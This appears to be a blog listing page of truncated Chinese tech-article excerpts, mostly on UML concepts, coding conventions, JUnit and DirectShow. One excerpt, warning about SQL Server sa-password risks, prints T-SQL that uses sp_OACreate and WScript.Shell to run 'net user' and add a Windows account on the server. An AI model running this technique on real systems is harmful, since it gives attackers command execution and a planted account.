第13章 术 语 大 全 (4) (转)
第13章 术 语 大 全 (4) (转)[@more@]80.复合状态(composite state)包含并行(正交)或顺序(互斥的)子状态的状态。见复杂转换(complex transition) ,简单状态(simple state),状态(state)。语义组成状态可以使用"与"关系分解为并行子状态,或者通过"或"关系分解为互相排斥的互斥子状态。状态精化只能使用两种方法之一。其子状态还可以用两种方法之一进一步进行分解。如果一个顺序组成状态是活动的,则只有一个子状态是活动的。如果一个并发组成状态是活动的,则与它正交的所有子状态都是活动的。分解结果为一与-或树。每个状态机有一个
第13章 术 语 大 全 (3) (转)
第13章 术 语 大 全 (3) (转)[@more@]53.规范表示法(canonical notation)UML定义了规范表示法,它用单色线和文字表示任何模型。这就是UML模型的标准"出版格式",可用于印刷图。图形编辑工具可以扩展规范表示法并且提供交互能力。比如,一个工具提供突出屏幕中被选择元素的能力。其他交互能力包括模型中的导航和按照选择的特性过滤显示的模型。这种格式是暂时的,并且不受UML制约。交互显示减少了模棱两可的弊端。所以,UML标准的焦点是印刷的规范形式,一个交互工具可以而且应该提供交互扩展。54.基数(cardinality)基数是集合中元素的
第12章 UML 环境 (转)
第12章 UML 环境 (转)[@more@]12.1 概述 UML 模型被用在环境中使用。多数人使用建模技术为了达到一个目的,即为了开发性能优良的系统,而不是为了使用模型本身。模型的目的和对模型的解释也受环境之外的因素影响。在广阔的外部环境中,另一些工具包括:跨越多种语言的元模型、模型编辑工具、程序设计语言、操作系统和主系统构件以及那些使用系统的商业和工程背景。确定模型的意义和使用目的取决于所有这些工具,其中也包括UML语言。 模型在不同的具体层次中出现。UML 是一种通用建模语言,包括语义和表示法,适用于不同的工具和实现
第10章 模型管理视图 (转)
第10章 模型管理视图 (转)[@more@]10.1 概述 任何大的系统都必须被分成几个小的单元,使得人们可以一次只处理有限的信息,并且分别处理这些信息的工作组之间不会互相干扰。模型管理由包及包之间的依赖关系组成。10.2 包 包是模型的一部分,模型的每一部分必须属于某个包。建模者可以将模型的内容分配到包中。但是为了使其能够工作,分配必须遵循一些合理的原则,如公用规则、紧密耦合的实现和公用观点等。UML对如何组包并不强制使用什么规则,但是良好的解组会很大地增强模型的可维护性。 包包含顶层的模型元素,即任何不被其他元
第11章 扩 展 机 制 (转)
第11章 扩 展 机 制 (转)[@more@]11.1 概述 UML提供了几种扩展机制,允许建模者在不用改变基本建模语言的情况下做一些通用的扩展。这些扩展机制已经被设计好,以便于在不需理解全部语义的情况下就可以存储和使用。由于这个原因,扩展可以作为字符串存储和使用。对不支持扩展机制的工具来说,扩展只是一个字符串,它可以作为模型的一部分被导入、存储,还可以被传递到其他工具。我们期望后端工具设计成能够处理各种扩展,这些工具会为它们需要理解的扩展定义特定的语法和语义。 这种扩展的方法很可能不能满足出现的多种要求,但是它以
第9章 物 理 视 图 (转)
第9章 物 理 视 图 (转)[@more@].1 概述 系统模型的大部分内容反映了系统的逻辑和设计方面的信息,并且独立于系统的最终实现单元。然而,为了可重用性和可操作性的目的,系统实现方面的信息也很重要。UML使用两种视图来表示实现单元:实现视图和部署视图。 实现视图将系统中可重用的块包装成具有可替代性的物理单元,这些单元被称为构件。实现视图用构件及构件间的接口和依赖关系来表示设计元素(例如类)的具体实现。构件是系统高层的可重用的组成部件。部署视图表示运行时的计算资源(如计算机及它们之间的连接)的物理布置。这些
第7章 活 动 视 图 (转)
第7章 活 动 视 图 (转)[@more@]7.1 概述 活动图是一种特殊形式的状态机,用于对计算流程和工作流程建模。活动图中的状态表示计算过程中所处的各种状态,而不是普通对象的状态。通常,活动图假定在整个计算处理的过程中没有外部事件引起的中断,否则,普通的状态机更适于描述这种情况。 活动图包含活动状态。活动状态表示过程中命令的执行或工作流程中活动的进行。与等待某一个事件发生的一般等待状态不同,活动状态等待计算处理工作的完成。当活动完成后,执行流程转入到活动图中的下一个活动状态。当一个活动的前导活动完成时,活
第8章 交 互 视 图 (转)
第8章 交 互 视 图 (转)[@more@]8.1 概述 对象间的相互作用体现了对象的行为。这种相互作用可以描述成两种互补的方式,一种以独立的对象为中心进行考察,另一种以互相作用的一组对象为中心进行考察。 状态机的描述范围不宽,但它描述了对象深层次的行为,是单独考察每一个对象的“微缩”视图。对状态机的说明是精确的并且可直接用于代码。然而,在理解系统的整个功能时存在困难,因为状态机一个时刻只集中描述一个对象,要确定整个系统的行为必需同时结合多个状态机进行考察。交互视图更适合于描述一组对象的整体行为。交互视图是对
第5章 用 例 视 图 (转)
第5章 用 例 视 图 (转)[@more@]5.1 概述 当用例视图在外部用户前出现时,它捕获到系统、子系统或类的行为。它将系统功能划分成对参与者(即系统的理想用户)有用的需求。而交互功能部分被称作用例。用例使用系统与一个或多个参与者之间的一系列消息来描述系统中的交互作用。参与者可以是人,也可以是外部计算机系统和外部进程。图5-1表述了一个电话目录销售的用例视图。此例是实际系统简化后的例子。图5-1 用例图5.2 参与者 参与者是与系统、子系统或类发生交互作用的外部用户、进程或其他系统的理想化概念。作为外部用户与系统发生交
第2章 模型的性质与目标 (转)
第2章 模型的性质与目标 (转)[@more@]本章将解释什么是模型,模型有何用途以及如何使用模型。本章还将解释模型的不同层次:理想的,部分的和基于工具的。2.1 什么是模型 模型是用某种工具对同类或其他工具的表达方式。模型从某一个建模观点出发,抓住事物最重要的方面而简化或忽略其他方面。工程、建筑和其他许多需要具有创造性的领域中都使用模型。 表达模型的工具要求便于使用。建筑模型可以是图纸上所绘的建筑图,也可以是用厚纸板制作的三维模型,还可以用存于计算机中的有限元方程来表示。一个建筑物的结构模型不仅能够展示这个
第3章 UML初览 (转)
第3章 UML初览 (转)[@more@]这一部分包括对UML中使用的各概念的综述,以说明在系统建模中如何综合运用这些概念。本部分不详细说明每一个概念,其详细说明可参见本书的大全部分。第3章 UML初览 本章使用一个简单的例子对UML中所使用的概念和视图进行初览。本章的目的是要将高层UML概念组织成一系列较小的视图和图表来可视化说明这些概念,说明如何用各种不同的概念来描述一个系统以及如何将各种视图组织在一起。概括性的说明不可能面面俱到,其中省略了许多概念。要想得到更详细的说明,可参见下一章对UML各视图的说明和本书大全部分的有
第1章 UML综述 (转)
第1章 UML综述 (转)[@more@]这一部分介绍了UML的基本原理,包括UML建模的性质和目标以及UML覆盖的所有功能领域。 第1章 UML 综述 本章是UML及其应用的一个快速浏览。1.1 UML简介 统一建模语言(UML)是一个通用的可视化建模语言,用于对软件进行描述、可视化处理、构造和建立软件系统制品的文档。它记录了对必须构造的系统的决定和理解,可用于对系统的理解、设计、浏览、配置、维护和信息控制。UML 适用于各种软件开发方法、软件生命周期的各个阶段、各种应用领域以及各种开发工具,UML 是一种总结了以往建模技术的经验并吸收
公司软件部VB组代码撰写暂行约定 (转)
公司软件部VB组代码撰写暂行约定 (转)[@more@] XML:namespace prefix = o /> 一、变量和对象 程序中的变量遵循匈牙利表示法,即“前缀+变量含义”,变量的含义为一个或多个英文单词,每个单词的第一个字母大写,不要用汉语拼音代替。变量前缀为三个小写字母示意其类型,所需添加的前缀遵循微软在MSDN中的建议。列表如下: 基本数据类型 变量类型 前缀 示例 Boolean bln blnFound Byte byt bytRasterData Collection object col colWidgets Currency cur curRevenue
用Junit Framework编写单元测试 (转)
用Junit Framework编写单元测试 (转)[@more@]用Junit framework编写单元测试 申文波(来自IBM DW中国) 2002年12月01日 随着Refactoring技术和XP软件工程技术的广泛推广,单元测试的作用在软件工程中变得越来越重要,而一个简明易学、适用广泛、高效稳定的单元测试框架则对成功的实施单元测试有着至关重要的作用。在Java编程语句环境里,Junit Framework是一个已经被多数java程序员采用和实证的优秀的测试框架,但是多数没有尝试Junit Framework的程序员在学习如何Junit Framework来编写适应自己开发项目的单元测试时,依然觉得有
对象式程序设计方法 作者:夏寒 (转)
对象式程序设计方法 作者:夏寒 (转)[@more@]对象式程序设计方法 作者:夏寒 本世纪60年代中期,对象式语言诞生,和以前传统的程序设计方法相比,对象式程序设计给我们开辟了全新的"视听"空间,对象式程序设计引进了异于以前过程式程序设计的概念和术语;怎样用对象式程序设计方法实现防火墙中的规则集...... 本世纪60年代中期,对象式语言诞生,和以前传统的程序设计方法相比,对象式程序设计给我们开辟了全新的"视听"空间,对象式程序设计引进了异于以前过程式程序设计的以下几个概念和术语: 1、对象,对象式程序设计中
B/S模式安全性探讨 (转)
B/S模式安全性探讨 (转)[@more@] 随着网络特别是宽带网络的普及,基于网络的B/S应用模式发展前景非常光明,因为借助于网络,B/S模式具有管理维护集中方便、用户使用简单、跨平台等优点。但是,因为B/S模式所有的数据传输都要通过公共的网络,所以信息安全问题就显得非常重要,如果这个问题得不到很好的解决,一个B/S系统就不能真正的进入商业性运作。 一般来说,一个B/S系统的信息安全主要有两个方面(本文不讨论与网络无关的安全方面):数据传输的安全性与用户身份的确认。用户身份的确认在B/S系统中是非常重要的,因为B/S系统正是
利用动态创建自动化接口实现VB的函数指针调用 (转)
利用动态创建自动化接口实现VB的函数指针调用 (转)[@more@]发信人: RoachCock (chen3feng), 信区: microsoftTRD 标 题: 我的 VB的函数指针调用 发信站: BBS 水木清华站 (Fri Jan 3 14:54:25 2003), 转信 本文首发于水木清华BBS MicrosoftTRD版,转载请保留有关信息 作者chen3feng(Mailto:RoachCock@smth.org">RoachCock@smth.org) email: chen3feng@163.com, hotmail.com">chen3fengx@hotmail.com 前几天在CSDN文档中心见了一篇 Matthew Curland的VB函数指针调用,它是用的动态创建自定义接
SQL Server的安全隐患:不要以为黑掉的只是SQL SERVER而已。 (转)
SQL Server的安全隐患:不要以为黑掉的只是SQL SERVER而已。 (转)[@more@]sql SERVER存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。 假如别人获得了数据库超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在win2000(SQL SERVER所在的Server)上创建一个超级用户: declare @object int--创建WScript.shellEXEC sp_OACreate 'WScript.Shell',@object OUT--运.NET user iamhacker opendoor /add--添加一个名字为iamhacker,密码为opendoor的用户EXEC sp_OAMethod @object,'Run',NULL,'net user
DirectShow系列讲座之三——开发自己的Filter (转)
DirectShow系列讲座之三——开发自己的Filter (转)[@more@]在上两讲中,笔者介绍了DirectShow的应用原理以及开发Filter之前的一些预备知识。这一讲,笔者就要手把手教你如何写自己的Filter啦。首先,从VC++的项目开始(请确认你已经给VC++配置好了DirectX的开发环境)。写自己的Filter,第一步是使用VC++建立一个Filter的项目。由于DirectX SDK提供了很多Filter的例子项目(位于DXSDKsamplesMultimediaDirectShow Filters目录下),最简单的方法就是拷贝一个,然后再在此基础上修改。但如果你是Filter开发的初学者,笔者并不赞成这么做。自
DirectShow系列讲座之二——Filter原理 (转)
DirectShow系列讲座之二——Filter原理 (转)[@more@]